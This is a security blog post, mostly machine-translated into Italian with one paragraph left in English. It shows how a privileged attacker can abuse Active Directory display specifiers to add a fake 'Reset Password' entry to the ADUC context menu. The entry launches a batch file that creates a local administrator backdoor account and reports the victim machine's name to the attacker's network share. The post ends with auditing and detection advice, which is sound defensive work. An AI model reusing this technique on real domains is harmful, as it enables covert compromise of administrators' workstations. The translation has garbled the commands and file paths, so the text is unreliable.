Darren Mar-Elia

Di recente mi è stata ricordata una funzione di AD che non uso da quasi 20 anni e che può essere sfruttata dagli aggressori. Questa funzione si basa su un'area della partizione Configurazione all'interno di una determinata foresta di Active Directory chiamata Specificatori di visualizzazione. Sono sicuro che questi hanno molti ruoli all'interno di AD, ma quello che mi interessa è la loro capacità di consentire l'aggiunta di estensioni personalizzate del menu contestuale agli strumenti AD basati su MMC. 

Quando ho utilizzato per la prima volta questa funzionalità (che esiste da anni), ho scritto un'utilità per consentire alcune attività di gestione degli utenti AD. Ho usato Display Specifiers per aggiungere una nuova voce di menu allo snap-in MMC di AD Users and Computers (ADUC), per i nostri amministratori IT interni. Ogni volta che facevano clic con il pulsante destro del mouse su un oggetto utente in ADUC, appariva la mia opzione di menu. Quando selezionavano l'opzione, eseguivano uno script in background su quell'oggetto utente. Gli Specificatori di visualizzazione hanno anche la possibilità di aggiungere fogli di proprietà alla pagina delle proprietà all'interno di una determinata classe di oggetti, purché si sia disposti a scrivere un po' di codice COM :-).

Gli specificatori di visualizzazione hanno il seguente aspetto:

Visualizzare gli specificatori nella partizione di configurazione

Visualizzare gli specificatori nella partizione di configurazione

Si noterà che i contenitori a sinistra sono organizzati per valori numerici. Questi corrispondono ai codici esadecimali delle lingue per ogni locale. Ho evidenziato409perché è il valore esadecimale di EN-US o English-US, che è la mia cultura predefinita. È possibile consultare l'elenco completo di questi codiciqui.

All'interno di ogni contenitore di codice della lingua, si noterà una serie di oggetti di classe displaySpecifier, sulla destra. Ognuno di questi oggetti rappresenta la classe di oggetti per cui è possibile modificare il comportamento del menu contestuale, tra le altre cose. Ad esempio, se si desidera aggiungere un menu contestuale agli oggetti utente in ADUC, si selezionerà l'oggetto CN=user-Display e si modificheranno gli attributi appropriati di questo oggetto.

I progettisti di display si comportano male

Ci sono un paio di cose da sapere su come gli aggressori potrebbero abusare degli specificatori di visualizzazione. Innanzitutto, per abusare degli specificatori di visualizzazione, dal punto di vista della sicurezza, è necessario essere un utente privilegiato. Per impostazione predefinita (enfasi su "predefinita"), solo i membri diAmministratori di dominioeamministratori d'impresapossono scrivere su questi oggetti. Pertanto, l'abuso di questi oggetti presuppone che si sia già acquisito il dominio, il che attenua notevolmente la potenza di questo meccanismo. Tuttavia, questo meccanismo offre un modo furtivo per danneggiare un ambiente. Ad esempio, se un membro amministratore del dominio è compromesso, tutto ciò che fa è molto visibile al monitoraggio standard, ma se l'aggressore è in grado di assumere il controllo di un account amministrativo non così ovvio, può essere in grado di muoversi nell'ambiente in modo più furtivo. È qui che l'uso degli specificatori di visualizzazione può rivelarsi utile. Nel mio esempio, sto aggiungendo un nuovo menu contestuale agli oggetti utente. La voce del menu contestuale si chiama "Reimposta password...", proprio come l'omonima opzione di menu esistente in ADUC per gli oggetti utente, come mostrato qui:

Aggiunta di una nuova voce del menu contestuale

As you can see from this screen shot, I now have two Reset Password options. Which one is right? The typical ADUC user is usually an administrator with some kind of privileged access to AD, and, probably unsuspecting when it comes to seeing an artifact like this. They might choose the right one (the top one) or the wrong one (the bottom one) depending upon what they see first. If they choose the second one, then my modified display specifier takes over. So let’s look at that. If you open ADSIEdit and connect to the Configuration Naming Context, you’ll see the screen above. Once I’ve selected the appropriate language-code folder (in my case CN=409 for EN-us) in the right-hand pane, I’m going to navigate to the CN=user-Display object and view it’s properties. From the Attribute Editor, find the adminContextMenu attribute. It’s a multi-valued attribute that likely already contains some entries in the form of <index>, <GUID of control or property sheet>. I’m going to add my custom “Reset Password” entry to this list in the form of: 

2,Reimpostare la password...,\gpaapackagesresetpw.bat

Dove la prima voce è l'indice in cui voglio che appaia, la seconda è il nome della voce di menu e la terza è ciò che voglio eseguire quando l'utente sceglie quella voce di menu. In questo esempio, sto richiamando un file batch da una condivisione. È possibile vedere l'aspetto di questo attributo dal vivo qui:

Visualizzazione di uno specificatore di visualizzazione modificato

Faccio riferimento a una condivisione UNC perché è importante ricordare che questa voce di menu sarà richiamata da qualsiasi utente di ADUC da qualsiasi workstation, quindi è necessario che l'utente sia in grado di richiamare il mio file batch da qualsiasi punto. Si potrebbero anche usare i comandi incorporati da eseguire localmente, ma non ho giocato con il passaggio di parametri ai comandi all'interno dei Display Specifiers, quindi non sono sicuro che funzionerà. In ogni caso, il mio file batch è piuttosto semplice. Conto sul fatto che chi usa ADUC possa essere effettivamente un amministratore sulla propria workstation e quindi possa fare praticamente tutto quando esegue il mio script. Quindi lo script "resetpw.bat" si presenta così:

net utente badguy password /add
net localgroup amministratori badguy /add
echo gotcha > \gpaapackages%computername%.txt

In pratica, creo un nuovo account locale sulla macchina con una password nota, aggiungo tale account al gruppo degli amministratori locali, quindi creo un piccolo file sulla mia condivisione che mi dice quale nome di macchina ha appena eseguito il mio script. Voilà!

Difesa contro gli abusi degli specificatori di visualizzazione

Ovviamente tutto questo non funziona se l'aggressore non ha i permessi di scrittura sugli Specificatori di visualizzazione. Quindi, a meno che non abbiano già compromesso il vostro dominio o non abbiate modificato la delega predefinita su questa parte del Configuration NC, probabilmente non dovrete preoccuparvi di questo. Tuttavia, se disponete di una soluzione di auditing AD di qualsiasi tipo, dovreste sicuramente tenere d'occhio le modifiche a questi oggetti. Probabilmente non ci sono molte ragioni legittime per cui questi oggetti dovrebbero cambiare normalmente. La buona notizia è che Semperis ha appena creato un nuovo indicatore per cercare le modifiche a questi oggetti specificatori di visualizzazione. DSP Intelligenzasi otterrà automaticamente questo nuovo indicatore, che inizierà a cercare immediatamente questi tipi di abuso degli specificatori di visualizzazione.